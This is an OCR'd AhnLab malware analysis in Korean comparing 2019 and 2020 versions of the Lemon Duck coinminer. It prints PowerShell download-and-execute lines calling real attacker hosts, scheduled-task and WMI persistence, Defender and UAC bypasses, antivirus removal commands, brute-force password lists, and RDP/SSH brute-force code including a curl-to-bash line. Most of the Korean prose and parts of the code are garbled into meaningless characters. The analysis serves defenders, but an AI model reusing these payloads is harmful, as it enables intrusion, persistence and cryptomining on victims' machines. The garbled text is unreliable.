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https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=28821

OtS S| XH= < E MX|E 2Nog Qb= =Y OWE’_EE, BruteForce 2 FFH =
2470} ObA O|D1|O' E5) ©

O
{0} oA S 2R 7150|227t
T 9olon 2wio] 3=

1
{542 0] PRI 24, omE| ol

:I jl [ =
3EAIZ LR 2019E1} 2020 ME & SIS 22 8| =A90 X0[EE HOtE =5 oIt

2019'd
Infection
Module
First Stage Second Stage
Attack Vector Scheduler Powershell Scheduler Powershell
Script

Script

iner

Infection
Module

First Stage : Second Stage
Attack Vector Powershell ! Powershell
Script : Seript

[38 1] 2019 vs 202014 2|25 ofHTE X SEC
1EHA|: P AC Zhe), M} o AK)
1EA0NE 8T e AP M), 22|30 GX7F SIAEICE 20198 HE2 AN ESHE SOl
It ATEHES ORZ2 L0k Jdol ofd ARIE AU, BHH 20208 fdFE= B
782 22|61 AHEER OfL|2F WMI(Windows Management Instrumentation) O|HIE
= ol&8l| 7t ATEHES L2259l Aot} Of2f J212 SMB BruteForceE OlA = A
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20194

Attack Vector sichyclabar

(Rtsa)

ipc.jsp

First Stage
Powershell
Script

Scheduler

vjs

Downloader
Powershell

v.jsp

Second Stage

Powershell

Schedule Create
65529 Port Open

Powershell Download

File Drop Powershell Download
- tempfile.tet (XML)

- kdls92jsjqs0.0ct

Schedule Create

Script

Powershell Download
Userlnfo Send

20204

Administrator

7p.php

Powershell
Script

Attack Vector

Windows Defender Bypass
Powershell Download

Windows

Defender
Bypass
ipc.jsp

First Stage

Powershell
Script

7p.php
Anti-Virus Delete

UAC, Scheduler Create

Powershell Download
Blackball Schedule
Random name Schedule

ajsp

Second Stage

Powershell

Windows Defender
Bypass

WMI Event Create
65529 Port Open

Not Administrator

Powershell Download
Blackball Event

[28 2] 1EA SZF S EE H|w
OHYAE X
=S 8D MifE fof LYot Els S40 Ol fdZE Murs ?|off SMB
BruteForce =ffolf H&0| dS50M EH k= BHOIE 201941 2020 B2 H| WIS
Z10|C},
20194
d portopening tcp €5529 SONSenetsh interface portproxy add vdtovd
connectport=53sschtasks /create /fru aystem /sc MINUIE /mo 10 /tn
"1 IEX (Hew-0Ohiject

yom

.
LI}

http://

% 1 - -
WW1TNOOW

Sipc omd="cmd /
-ExclusionPath

4= = S g 4 1 & T b Do = e
Lilmenlonlitoring L;add-HMprrelerenc

c:hwwindows\svyst d X (He
Met.Web{" lient) .DownloadString ( My 0l oI s L3ErNa fCcompu
ronment] : :05Version.version.Major) ;bpu (" 'http://t.amy'"+" "'nx.com/ipc.jsp?0.8"") "

=

W

.
L

-0k]

ernameg’

.
CcT
%

[Enwi




S S AFE e AlGHOIC 2019529 A HTE ™
I} 2 AX|E Qe AHE=HE 2610 It ATHEES CFR2E6H= HHH 20204 HHEE
IS Eoff I AJTEES CHREC8H= X0|-0] 2ol QICt

2= OHYTIE MA| S 1Y AEIS SRS I ISUUS S=ote 7150| Xt
CF OPSTE TS Sof 271 ATES CIRRE Y Mesin ISUHS S=3iy

20192 R L2 =l ATZEES SO XML GOV EYl %TEMP%\tempfile txt& &

L—
Foldl ol s HEPe| AAEHE 5=, 0|2, AHEHE Sofl v.js& 2250
A

Sru=$env:username

$tn3=-join([char[]] (¢5..50+57..122) |Get-Random -Count (5+({Get-Random)®&5))+'""+-join([char[]] (65..90+57..
122) |Get-Random -Count (5+(Get-Random) &5))

Sof=Senwv:tmp+'\tempfle.txt’
$1f=Senwv:tmp+'"kdlsd
$ti=Get-Date -Format

$us=@('i::t:;!:.:§:4. n/v.js", "k na.com/v.js', '"http: //t.amxny.com/v.js")
if(([Security.Principal .HindowsPrincipal] [Security.Principal .WindowsIdentity]::GetCurrent()) .IsInRole([

Security.Principal .WindowsBuiltInRole] "Rdministratcor™))({

if (! (Test-Path $1f)){
foreach ($u in 3$us){

if(Su -eqg Sus[0]) {$tn=-join([char[]](c5..50+57..122) |Get-Random -Count (5+(Get-Random)&5))}
if($u -eq Sus[1]) {$tn=-join([char[]]{f5..90+57..122) |Get-Random -Count (5+(Get-Random)&5))+"" "+~
join({[char[]] (55..90+57..122) |Get-Random -Count (S+(Get-Random)23))1}
if($u -eq Sus[2]) {$tn=5tn3}
$tm.replace ("TIME', $ti) .replace ("USER' ,$ru) .replace ("COMMLND', [Convert] : :ToBase€dString ([System.
Text.Encoding] ::Unicode.GetBytes ($tml.replace (' _T',%tn) .replace (' _U' ,$u)))) |cut-£file Sof
if($ru -eqg "System') {

achtasks fcreate /ru Sru /tn $tn fxml Sof /F
1 else |

achtasks /fcreate /tn $tn /xml $of /F
}

achtasks /run ftn $tn
Remove-Item Sof

[32 3] 2019 ipc.jsp 2=



$Lemon Duck='raRdE';§y="http://t.zerd.com/v.js" ;§2=5y+'p"+
"?ipc 20201020" ; $m=(New-Object System.Net.WebClient) .DownloadData ($y
) : [System.Security.Cryptography.MD5] : :Create () . ComputeHash ($m) |

fﬂreach{$s+=$ IDString['vﬁ']}'iftss—eq

[3& 4] tempfile.txt

AF|ZTE SEGUCHH 2020 29| AR WMIZ 0|89 -iES FI10s

)
o T
47 8= wAlord et

foreach($u in $us) {
§i = [array]::IndexOf ($us,$u)
if(§i%: -eqg 0) {$tnf=""}
if(§is: -eqg 1) ($tnf=getRan}
if(§i%: -eq 2) {if($sa) {$tnf="MicroSoft\Windows" '+ (getRan) }else{Stnf=getRan}}
$tn = getRan
if(§sa){
schtasks /create /ru aystem /sc MINUTE /mo €0 /tn "Stanf\stn" /F /tr "powershell -w hidden -c PS_CMD"
} else {
schtasks /create fsc MINUIE /mo &0 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c

PS CMD"
1
start-sleep 1

foreach ($u in $us) {
$theName=getRan

Swmicmd=$tmps.replace('Ul",$u.substring(C,5)) .replace('U2",%u.substring(5)) .replace('a.jsp',"aa.j2p")
Set-Wmilnstance -Class _ FilterToConsumerBinding -Namespace "root\subscription”
Set-Wmilnstance -Class _ EventFilter -NameSpace "

: i " ;Querylanguage="WQ

-Arguments @{Filter=(
\Subscription"” —Arguments @{Name=":"+$theName ; EventNameSpace=
";Query="SELECT * FROM _ InstanceModificationEvent WITHIN 3600 WHERE TargetInstance
ISA "Win32_ PerfFormattedData_ PerfOS_System'";} =-ErrorAction Stop),Consumer-(Set-ﬂmlInstance -Class
CommandLineEventConsumer -Namespace "root)\subscription” =Arguments @{Name="c"+$theName;ExecutablePath=
"c:\windows\system32\cmd.exe" ;CommandLineTemplate="/c powershell -w hidden -c $wmicmd"™})}

[32] 5] 20204 ipc.jsp

Stmps="function a($u) {$d=(Ne w-0bj ect Net.WebC lient)."DownlcadData" ($u);sc=5d.count;if ($c -gt
l"%i{fhzij[l"“..:r];$r—HEw—2hjECt

ifyData ($b, (Hew-0bject
0..171713)0)

er), [convert]:
I+II'[TlII+IIT'['\III?.(—; Ir]1-..-]_+II_J'
{get-wmiobject
Win32 __nlute SystemProduct) .UUID, (random) ) -Jjoin"'* ")}

[28 6] AAHEEE Soll 2dE=l= EE0]
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SOt Tma T3 93
20203 ME0|M= AYTES| BIXE R3/6H| Il Thdeot HAlS AESH= DT FI 1
Ct N P2 E MIE Solf ddkl= BHO0|M Llds A Windows Defender?]

L
MAZHZAZ 1170 AL CHAL 0|22 powershell.exeZ 27 [BHC}

'6'H *lé'H_l;_'E 0424 0-|

Ol2, CHREE L= It ATZEQI 7p.phpll bpu &+E Sl UAC 22, Windows
Defender@| GAIZE HAl 17| S HAF Chied OI2f 2715 w>AetCh 2k Hots 7HNL AS
8%, TS Soll Windows Defender HAIZH ZIA] 1171 S ZAL The OQIE 37161 A
JEE L22E = Joitt

function bpu({$payload) |
Sver=[Environment] : :05Version.Version.Major

$kill\_payload="::.'.::i. fc ech

if ($payload.startswith("http")){

$payload="I=x (new-objec

}

if{{[int] ([Securitv.Principal .WindowsPrincipal] [Securityv.Principal .WindowsIdentitv]::GetCurrent()).
IsInRole([Security.Principal .WindowsBuiltInRole] 'Administratocr'))){

iex $kill payload
sleep S
iex Spayload

return

[O3& 8] 7p.php ZE



HEXF Hots 7HEK LD UIX| 245 B2, 2= B0 W2 UAC 2] ZE7F H-AEICE HKCU\
Software\Classes\[key]\shel\open\command 2[X|AEZ|9| 7|2Z/0| HBOIE MIESH
2, DelegateExecute 4fS Null= Ao} HMO|| M2} CHE keygf S Hol0| =2 =13
=

Mo UACE 2

FOF

510 37} ATRE CHR2E 2 Agict

if (Swer -eq 10) [

Sexp="ComputerDefaults.exe™
Spayload="3kill paylcad & powershell -w hidden $paylcad
} else |
Skey="mscfile
Sexp=""Conp!
Spayload="powsr yload"
}
SregPath = "HECU:\Software\Classsa'\ fkey'\shellhopen' command
Mew-Item SregPath -Force
New-ItemProperty SregPath -Name "DelegateExecuts”™ -Value Snull -Force

if (! ($payload.startswith ("cmr

md /c") -or S$payload.startswith("cmd.exe /c"))){
Spayload="cmd /c Spayload"”

}

Set-ItemProperty SregPath -Name " (default)”™ -Value "spayload"™ -Force
Start-Proceas Sexp

sleep S

Eemove-Item SregPath -Force -Recurse

[O% 9] UAC 22| ZE

Windows 10 Other
Key mscfile ms-settings
Program CompMgmtLauncher ComputerDefaults

[E 2] BT 8 UAC 23|12 Qs AFRE|= 224
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cmd /fc start /b wmic.exe product where " " call uninstall /nointeractive

cmd /fc atart /b whmic.exe product where " yEE'" call uninstall /nointeractive

cmd /fo atart /b wmic.exe product where " gall uninstall fnointeractive

cmd /c start /b wmic.exe product where call uninstall /nointeractiwve

cmd fc start /b wmic.exe product where vE'" call uninstall /nointeractive

cmd /c start /b wmic.exe product where " 13%"'" call uninstall /nointeractive

cmd /c start /b whic.exe product where "name like "slorton Securitvi'" call uninstall /nointeractive

cmd fc "C:\Progra~l'\Malwarebytes\Anti-M 000.exe™ fverysilent /suppressmsgboxes /norestart
[2E 10] & =% M| FE

2019 HHE %TEMP%\kdIs92jsjqs0.txt LIU0| EXSIX| L0 H AHZSHE SESHL FIt
AARES CIR22EQ00F 202092 42 ‘blackball’ 0|52 = A= WMI O|HIET &
MoHK| 4™ AF|Ed] 3 WMI OIES S50l &7 ATZHES HR2E0] S=49s Y
X[SHT QICF, Ol = It §X|E f2oh| flol HEE Aoz =FEILt

2019 2020
Sof=Senv: +'hte
$lg=$env:EE§+' kdlst Fryi
§ti=Get-Date -Format 'v: 55" Sdoit=§stsrv.GetFolder (" ") .GetTask ("blackball™)
Sus=E ('http t.awcna.com'v.js3" "
http://t.am¥Xny.c lcatch{}

if {{[Security.Principal .WindowsPrincipal] [Security.Principal
MindowsIdentity] @ :GetCurrent () ) .IsInRole ([Security.
Principal .WindowsBuiltInRole] "Rdministrator™)){
Sru="5System’
Stn3="MicroSoft'\Windows' '+5tn3
if (! (Test-Path $1f)){
foreach (3u in $Sus) {

new-item $1f -type file

if(-not Sdoit){
if(5sa){

schtasks fcreate /ru system fsc MINUTE /mo 120
blackball /F ftr "blackball”

/tn

} else |

schtasks fcreate /sc MINUIE /mo 120 ftn klackball /F

[ 3] $& 2% WX 3=
247 A7t HMTC 2R 3 Al
2EO = XIS QLY TES Solf SO X SPYTE X, SPYTE T} 7|5 49
57| Qi 47t YYTCE CI2RE6HT Mapict TRIM ASUES Sof UUE HREQ)
YEE 2SI 20 SPYTES CH22E QNS BY 1 QNRIOR A HBE Madh
CF OPYTE CHREE 9l AS Sof YD MZ PYTES MXISIT YT T} 7|5



20194

V.jsp V.jsp v.jsp

Second Stage Userlnfo .

m3.bin, m6.bin (Miner)
ifbin (Infection Module)
Userlnfo Send

20204

ajsp ajsp ajsp

Second Stage Userlnfo :

m6.bin, még.bin (Miner)
nvd.zip (Miner Module)
ifbin (Infection Module)
if_mail.bin (Mailer)
Userlnfo Send

m3.bin, m6.bin

Reflective PE
Injection

if.bin

Infection
Module

m6.bin, m6g.bin

Reflective PE
Injection

if.bin

Infection

Module

if_mail.bin

[23 1] 2T 5|2 =4S}

2o Xz fdBE 22X

d=E JET=0l= Lfd ATEES Sofl Y2 fdT7 =S HREE0rl dX[ok=
SO| EXHICE. 20197 HES x86, x64 2HF0| L2} m3.bin, m6.bin LYS CIREES
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2019 - v.jsp

2020 - a.jsp

try{
if ($1localMn) {
if{[IntPtr]::5ize -eq £){
$mbin =
S$mmd5 =
lelse]

}
lcatch{}
if (§isA) |

SIEX "$core url/va.jsp”
}

if { {$oard -match
if {{$card -match

E"}) {§ien-1}
=1}

tunction gpa($rnam) {

1I(51864){
§code2=gcode "Mn"
I'Ex §codel
if (§localMn) |
stp ((gof Scode? $mmd5 $mbin)+{gpa $mbin))
}
1
1f(($13n -or $1sa) -and $1s864){
$coded-gcode "Mng"
I'Ex §code3
if (§localMng) {
atp ((gof Scode? Smgmd5 Smghin) +{gpa Smghin))
|}

[ 4] &=

=, YL 1Z PYRCE HXSH| 2l
S2C O T LR EXOIT SEAAES

0
HE= 20199 TES 780l Afgotl %
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IE X 3=
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O
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2019

2020

function Invoke-ReflectivePEInjection

{

[CmdletBinding (DefaultParameterSetlame="W=hFila")]
Param(
[Parameter (ParameterSetName = "LocalFile", Position = 0,
Mandatory = $true)]
[String]
$PEPath,

[Parameter (ParameterSetName = "WekFile", Position = O,
Mandatory = $true)]
[Uri]

$PEUr1,

[Parameter (ParameterSetName = "Bytes”
Mandatory = $true)]
[ValidateNotWullOrEmpty () ]

[Byte[]]

SPEBytes,

Position = 0,

[Parameter {Position = 1)]
[String[]]
SComputerName,

[Parameter (Position = 2)]
[WalidateSet({ 'Witring',
[String]

SFuncReturnType =

'String', 'Void' )]

"Woid',

function testl

{

[CmdletBinding()]

Param{
[Parameter (Position = 0, Mandatory =
[ValidateNotHullOrEmpty () ]
[Byte[1]
SPEBytes,
[Parameter (Position = 1) ]
[String[]]
SComputerName,
[Parameter (Position = 2)]
[ValidateSet({ 'WString', 'String’,

[String]
SFuncReturnType = "Void',

[Parameter (Position
[String]
SExeArgs,

2]

[FParameter (Position = 4})]
[Int32]
$Procld,

[Parameter (Position = 5} ]
[String]
§ProcName,

Strue) ]

[ 5] Reflective PE Q14|
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O=C HIS 17}Ol HL LIE=SL & R ﬂ PE MIA — OFS S X O C =
C22E T2 O R = =2t &= Reflective HMME TE + 29 qaTE=
— L —
O|=20{ A QICt 2019 M=0{= K= LHTE E20| L2 =XHSER|RE 20208 A=2 6l
T VN . L. O= [ — = [ L. O=L— (@]
. L —_
CPMAETE GzipP &2 YU=E|0] QULC} Ol= M AL EIX|E 23|61/ | 2ot 2EMO 2 =HEICH
-1 0O — — AN . L 1O — 3 = T —+— T /|3 1——— O .
2019 — m3.bin 2020 — mé.bin
onnononn 49 RE 76 AF AR &G 2D 45 TR TN 72 &5 73 73 A9 &F Tnwnke-FExpressin 56000000 45 60 45 50 20 24 20 4F 65 77 2D AT 62 GA €5 63 I'CY 4 (Mew—-0bd
00000010 6E 20 24 28 4E 65 77 2D 4F 62 €A 65 63 74 20 49 n 3 (New-Object I e L SUS SRS el S s e el Sé,::mcizz
00000020 4F 2E 53 74 72 65 61 6D 52 €5 €1 &4 65 72 20 28 O.5treamReader ( 72 20 28 24 28 4F €5 97 2D 4F 62 €N 65 63 79 20 T {5 Mew-Obiact
00000030 24 28 4E 65 77 2D 4F 62 6A €5 €3 74 20 49 4F 2E  § (Hew-Object IO. 45 4F 2 43 6F 6D 70 72 65 73 73 69 6F 6E 2E 44 IO.Compression.D
Uuuuv4au 43 bF 6D TU YZ B> T3 T3 BY bF bE ZE 42 &1 bbb 6L Compression.berl b.;J Bb 6C BL 74 B85 53 74 7Z 5 Bl BD 20 Z¥ 24 ZE erlatestream (5(
00000050 61 T4 65 53 74 72 €5 61 6D 20 20 24 20 4E 65 77 ateStream (§ (New 4E 65 77 2D 4F €2 €A 65 63 T4 20 45 4F 2E 4D 65 New-Object I0.Me
00000060 2D 4F 62 EA 65 63 74 20 4G 4F 2E 4D €5 &D &F 72 -Object IO_Memor 6D 6F 72 75 53 74 72 65 61 6D 20 28 2C 24 28 SB moryStream (,&([
00000070 79 53 74 72 65 61 €D 20 28 2C 24 28 5B 43 &F 6E vStream (,$([Con 43 6F 6E 76 €5 72 74 SD 3A 3A 22 46 72 6F €D 42 Convert)::"FromB
00000080 76 &5 72 74 5D 3A 3A 46 72 €F €D 42 €1 73 65 36 vert]::FromBaseé 61 72 65 36 34 53 74 12 66 6F &7 22 28 27 37 62 asef4String"('Th
. .
o .
. .
00009330 49 4% 29 29 2E 52 65 &1 64 54 &F 45 6E 64 28 29 II)).ReadToEnd() 33°99:19 €329 of 55 O GL.C4 93 OF 13 SE. 1.0 bUll ReadIoEnd|
00009340 3B OD ORA 4D SA 90 00 03 00 00 00 02 00 00 00 FF  ;..MZ.uuueunun. i 2% 3B 0D “'f }F 8B 08 EO Al R i=
00009350 FF 00 00 BE 00 00 00 00 00 00 00 40 00 00 00 00 §.e,eevue.. [ P, g; -‘}2 rli ;; ;g ii fg ;f gg ‘f; :g :g ;‘;‘ gi ;Z ":’; I;";‘;‘Eé J;“;
UguoY3el U0 UD DU UU UL UD DU UU UU DO U0 UD DU U0 0D DU L. e i i e enms s FE& 92 EC 1D €9 47 23 29 AR -?3\ 81 CA 65 56 5 SD :f;-srn S p:VP]
00005370 00 0D 00 00 0D 00 OO0 00 00 00 00 00 00 00 00 10 ..cuvcecececeannn h'b “; ‘1'0 e r:u ab HL “ e '}u £ x;u r‘"-: -m; .J;j ;;r t =i11 Sear
ONNNS3R0 01 N0 00 OF 1F BA OF 00 R4 09 D 21 BRR 01 40 €D = SR BD F7 BA 3B 8D 4F 27 F7 DF FF SF 5¢ 66 64 01 6C h_:,‘ .
00009380 21 54 €8 €9 73 20 70 72 6F €7 72 61 6D 20 €3 €1 !Tnis program ca TG CE 43 DA 5 SE 21 90 AA C2 AF 3F 7E 7C 1F 3F SIqUEEIE-E.7-|.2
00009340 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 nnot be run in D 22 BE F8 N 3F Eo D7 F3 BS 7F SD SF E3 D7 F2 75 mue®léven.. Eveu
00009380 4F 53 20 6D 6F 64 65 2E OD OD OA 24 00 00 00 00 OS5 mode....5.... -
[E 6] m3.bin, m6.bin It H|
- — . N — —_ . —
20204 =2 x64 2kZ0|1, AH|C|OF(Nvidia) 12ifs FIES ARES 42 nvd.zip IS
L O — O L — —= o= o1, ==
XIFCFR2E 8HH %TEMP% C|HIEZ|0]| QFES SHiM[SH} 8Tt TS Cuda Z2{10102
z=) == ofl, PY% L = SHAN[eH-}, SiE IfE Cuda 28|12 2
X AEDENMN AEEH, meg.bin IFE LHFL| Yook XMz ST E0M S TH
oLl —= =Z&|0 mog. in 1L LHEC| Yoo X 2rE A0 o L

O - -~
i Mzs Al
tryi
if(5fisn -and §$is64){
$nd_||v---- Z---||
Sndg="Senv:tmpi\nwvdg.datc”

(Get-Item Sndg).

II_"

003}y 1{

if({!(tcest-path Sndg) -or length -ne
(ne*w-obj ect Het.WebC lient)."DownloadFile" ﬂ$down arl+" /-
(Hew-Chject -Comlbject Shell.hApplication) .HameSpace ($env:tmp) .CopyHere (
"Senv:tmph$ e Le)

Eemove-Item Senv:tmp' $nd

:—_:'lll . e

nd,

[22]12] Cuda

Senv:tmph S

nd™}



“cuda®: {",8ah
“enabled™: true,”,@ah
"loader™: “"nvdg.dat”,",@ah
“mml": true,’,0ah
"en/@": false,',B8Ah
"en-1lite/8": false',B84h
}s " 2BAR
"donate-level™: &,",84h
“donate-over-proxy™: @,",84h
"log-file™: null,",®Ah
“pools”: [',8Ah
1',84h
"alga”: null, ' ,8Ah
"eoin": null, ' 84k
"url™: “lplp.ackng.com:443"," ,88h
"user”: "x",",@Ah
“pass": "",",04h
"rig-id®: null,’,8ah
"nicehash™: true,',@8Ah
"keepalive”: true,’,8Ah
"enabled”: true,’,88h

[28 13] 2=y K= 4d2E 28 2AE

202014 B0l OPTC HIIS 9ok ZLIE HHEIS Outlook HEE +E 92}

|
HEE HUS AHE O FA2 TS T50] 21T

TN e HAFES Outlook & HX[AEL[JL EXfSt=X] 2folotd EXfSHH

"HKLM\SOFTWARE\Microsoft\Office\[version]\Outlook\Security” 2| X|AEZ|0]

ObjectModelGuard 7|5 M5t 0x2 3f2 Aot

$hks="HKEY LOCAL. MACHINE'\SOFTWARE'"
$meo="Mic

$wnd="cwel3

foreach (Spath in S$paths) |
if (test-path Registry::$path) {
get-childitem Registry::$path -name|where-cbject{$ -match "\d+" -and (Test-Path Registry::$path\§ \Outlook)}|foreach{
$skey="Registry::$path'$_‘\Outlook\Security™
if (1 (Test-Path $skey)){
New-Item $skey
}
Set-ItemProperty $skey ObjectModelGuard 2 -type Dword

$mflag=test-path $skey

bi}

[12 14] Outlook Z|X|AER| ZAM 51 HH



#f X AEE BET|
mF) BEE BIV) SHEI|M) SSUH)

a- )i Ofice -l o= = =i
b 150 || ez REG_SZ @ am o g
i W E;nr:mn L} 24 ObjectModelGuard REG_DWORD 0x00000002 (2)
» -}, MsoExample
4- ), Outlook
L LN Security] | .

1| 1 [ b

S HWHKEY_LOCAL MACHINEWSOFTWAREWMIicrosoftwOfficew15 0WOutlookSecurity

[712! 15] ObjectModelGuard H|X|AEZ|

ObjectModelGuard 7|7} &XHSHH if_mail bin LS CHREE SFd Aol HiE=2 Set &

NTE QT 7|52 $HIC

if (Smflag) |
try{$localMail=5flase ;New-0Object Threading.Mutex($true, ' 'Global\LocalMail’, [ref]5localMail) jcatch{}
if ($localMail) |
if (! (test-path $env:tmp'godmalil3.txt)){

STEX "sdown url/if mail.bin"

[3&16] If_mail.bin T} CHR2E FE
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2019

2020

[ztring[]]%glekal:allpass @("szadmin”,"123456" ,"pazaword"”,
"PRSSWORD","123.com™, "admin@l23™,"Ral23456", "qwerl2345™,

"Huaweif123™,"123@abc™, "golden™,"123 ! B¢qwe™ , "1gazfWSE"™, "Ab123"™

"qud.u;n","rdKljl 3","}dI1113t”at::" "]‘Cl“&","idﬁiﬁ@l“&"

"thluj","qLcdlu34","ahcd@lus4","ahc@lu3","L@33n:rd",
"P@ggword”, "plaswird™ , "PEsawlrd", "PESSWORD", "PESSWORD™,
"B@wlrd", "F@word", "iloveyou”, "monkey”, "login®, "passwird™,
"master™,"hello™, "gazwsx", "passwordl”, "qwerty", "baseball™,
"qw:rtlulur","sulcrrqﬁ" "lqazunsx",":uckiuu" "l 23gqwe ™ "Excvbn"
,"rass" 4n" , "gqwel23da™,
" "lllllllll" "112233",
"-l 345:" "12 34a,a"," ”u1314" "1* w3e 4"" "qwel23™,"al23456739"
,"12345678%a" , "dragon™, "sunshine” , "princess”, " @#5% V",
"charlie™,"aal23456™ ,"homelesspa™, "lg2w3edrst™, "sa"™, "sasa"™,
"3ala3™,"sgl2005™,"3 abc","abcdefg™, "sapassword”,
"hal2345678", "ABCakcl23™,"s 411;33w::d"1" gl200g8™,™11223344"™,
"adminZ38™, "qwel234™,"A123456")

- _.|r "
az2onis

[atring[]]%global:allpass @("saa::lrr.in","12345:'"I"t53tl"I

"zinch”™, "g_czechout”™,"asdf”,"Ral23456.", "dubsmash™, "password”,

"BASSWORD","123.com”™, "admin@l23","Rall 343*","qh_:13345",

"Huawei@l2 3" "l 3@GLC"I"juld_ ","1l2 3'@rqx:","qu_@ﬁsx",";h133"
A7 "kbcl23™, ;dniq@l 3"

"
;;;;;; r

22 gs588", llll
g™, "1234567549","95765432 l","admln",
"abcl2 3","chdl 34","Glcd@l 34™,"abcfl23" ,"plssword”,
"Efssword”, "plsswird”, "PEsswird"™, "PESSWORD"™ , "PRSSWORD™,
"Ewlrd”, "P@word™, "iloveyou", "monkey™, "login”, "passwird"”,
"master™,"hello™, "gazwsx", "passwordl” ,"Passwordl"”, "gqwerty",
’Las;Lall","qw::tiulur" "superman”,"lgazdwsx", "fuckyou”,
""J"adniqist*'t“*"
phl 34— N thl 34q ,' "123123123","1234567890™
"111111111","112233","=ald 34ar" "1la 34356","33U1314" "lglwie 4“"
"gqwel23d","al23456789","12345678%a", "dragon”, "sunshine”™,
"princess™, " @ ;"charlie™,"aal23458" , "homelesspa™,
e4rit”,"sa","sasa","sali3", "aql ","5aa008","abc",
", "sapassword”, "‘51“34""'", Cabcldd™, "asqlpassword”™,
"3gql2008™,"11223344™, "adming88™, "qwel234" ,"A123456™ , "OPERADOR™
"Passwordl23™,"testla23"™,"NULL", "user™,"test"”, "Passwordol™,
"stagiaire™, "demo” ,"scan”, "P@sswlirdl23"™, "x

'554331","

gLgagk™
Frs K

erox”, "compta™)

[£ 7] 2019, 20204 SI=

L) B A H|2

AdIE FLt Vs
SHAOINE dFZE HIHE ?[oH BruteForce, Exploits &2t Lrdeh 7|50 A &L,
201910 2020 22 AHTE HOZ ?Ieh 71s FHOIM Xto7F QITF. 2019 A0 = RDP
BruteForce 3! BlueKeep 20 CHet AZH 7[s0] E&XREX(EE 2020 HE0= ol 7s
Of GiCt. EEoF, 2019H0| 22 2FER B E A5 SAIRIEIH 2020H0= 2524 =2F
L EHICR of 0 IO, 2 FPYE fdTE R0 ARESHLL QUE
2019 2020
RDP BrutefForce MS-SQL BruteForce
MS-SQL BruteForce SMB BruteForce
SMB BruteForce SSH Bruteforce
BlueKeep Scan Redis
EternelBlue EternelBlue
CVE-2017-8464 CVE-2017-8464
CVE-2020-0796
[£ 8] 4L [l 7|5 vl

(=]
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20194 ME0||= RDP BruteForceE £5t &fMTE Qi J|s0| &Xot=H|, C225H

-1 0O
wf.cab P S CHREE 2 %TEMP%\wfreerdp.exe LY = =2 SHA[RH}

Sexepath = Senwv:tmp+"'\wirserdp.sxs"
Sdownpath=%env: tmp+""w.cab”
$d retry=

while (! {Teat-Fath %exepath) -or ! (Test-Fath Senwv:tmpimimi.dat)){
if (§d retry -eq ) {break]
(new-ckiject System.NEt.HEbElient}.3cwnlcadFilE{$1Dg_prl+' wi.cak", Sdownpath)
if (teat-path Sdownpath) |
cmd /o sxpand Sdownpath -£:% Senv:tmp

[32] 18] wfreerdp.exe d T &

O|=, Wfreerdp.exe It = Soff EFot YEE 0|F610] U HIDES MIfotC}, o A
E LEO|| St = Al HE | PowerDump, MimikatzE Eoff s=3or HEE =

O
25l RDP BruteForceES 3ot QP AEES MIfSH

H
T
BE:
(@)
I
m

8flag = (new-objsct BEDE.BRUTE) .check (Sexepath, Scurrip, "administrator™, Spassword,
Sfalse)
if (§flag) {
write-host "SUCC!H!I"
fbrute = nsw-obhject RDF.BRUIE
if (Sbrute.check (Sexepath, Scurrip, "adrinistrator”, Spassword, Strue) ) |
(Hew-Ckject Net.Webkl{lient). 3cwnlcaﬂ5tr1ng{$lng_url+

'/report.json?type=rdpsip="+$currip+' cpass="+S$password+'st="+5t)
[RDE.CMD] : : runCmd ($rdp code)
write-host "Try to run command!!™

[Z12119] RDP BruteForce T &=

|O

20194 HiE0|= BlueKeep #fd= £7M6k= 7|50 KT, 2020 E H=0= &S

o[}

LS —



function Invoke-Myrdp($tip) {

function rdp send(§sock, Spkt) |
$sock. S=nd (Spkt)

}

function rdp_recv($sock) |
fsock .ReceiveTimeout =

tey{
Sresl = [Arzay] ::Createlnstance (('byt'+"2"), 4)
Srecw = §sock.Beceive (Sresl)
$res? = [Array] ::Createlnstance ({'byt'+'e'), [bitconverter]::ToUIntlé(Sresl[4..2],.0)-4)
Srecw = Ssock.Beceive (res2)
Sf={output (Sresl+Sres?)).containa(” 020802 o |

return Sresl+Sres2
lcatch{write-host SBrror([0]:;return 5false}
L]

function pdu_client_persistenc_key_lisc() {

2020 MZS Bl=A SHAC EPIOZ 81, [12] 21]1f 20| SSH BruteForce ZEJ} 227}
ZFE knilbin IIZE H2EE 2 Ox64HI0|ERE gzip Y=g SHMRITE 2= of

AMASH=| ofiE T2 SSH H&2 209t plink.exe

. C2=
M= DIHAS %TEMP%\knil.exe T2

=X
IF0|C} Knil.exe IS E8{ SSH

I ruteForceg ol HH01| S0 & core.png
IS CIRZ T &0 AlGHSH |

w HU

Sssh cmd="src=ssh; (curl -£s5L http://tC ssh
‘whoami " * “hostname” -q -0- htt §*ssh
‘whoami " * “hostname " )
Sssho cmd="'src=ssho; (curl -fs5L http://t.amynx.com ore.png B*ssho
‘whoami " * “hostname” get -g -0- htt C.amynx.com/ln/core.png ssho
hoami hostname bash
Wwrite-host "start ssh port open ﬂ:r““Li;...”
§ssh_portopen = localscan -port 22 -addresses §ipaddresses[§i.. |(
Si+8tcomnt-1)]
$cld_pcrtnpen = localscan -port ©SS29% -—addresses $ssh_pcrtopen[_]

foreach (§currip in §ssh portopen[']1) {
if (($old portopen[!] -notcontains §currip) -and (§currip.
length —-gt ©)){
wWrite-host "start ssh burping...Scurrip"”
foreach (Spassword in Sallpass) {
Wwrite-host "Try pass:spassword”
§flagl = -_
S§flagl = sshbrute Scurrip "root” Spassword 5s3sh code

[12] 21] SSH BruteForce I E



00000000 60 2B 48 1D 55 62 58 77 70 03 33 28 1C 5C 22 0D “+H.UbXwp.3(.\".
00000010 54 OF 63 39 7B 1A 3D 17 65 46 57 08 26 6A 7F 1F T.c9{.=.eFW.&j..
00000020 67 27 19 6D 35 OE 3F 24 3A 72 30 75 49 29 1B 24 g'.mS5.2*:r0ul).$
00000030 53 69 7A 07 10 6B 01 37 74 43 02 16 3B 13 0B 2F Siz..k.7tC..;../
00000040 7C 12 4B 3C 42 73 14 06 25 71 32 51 4A 52 6C 47 |.K<Bs..%q2QJR1G
00000050 50 45 36 4E 15 20 4C 09 5B 21 76 05 44 2D 23 31 PE6N. L.[!v.D-#1
00000060 S5SE 6E 59 38 1F 8B 08 00 00 00 00 00 04 00 ED BD “N¥B8.€........1i%
00000070 07 60 1C 49 96 25 26 2F 6D CA 7B 7F 4A F5 4A D7 . .I-%&/mE{.JdJx
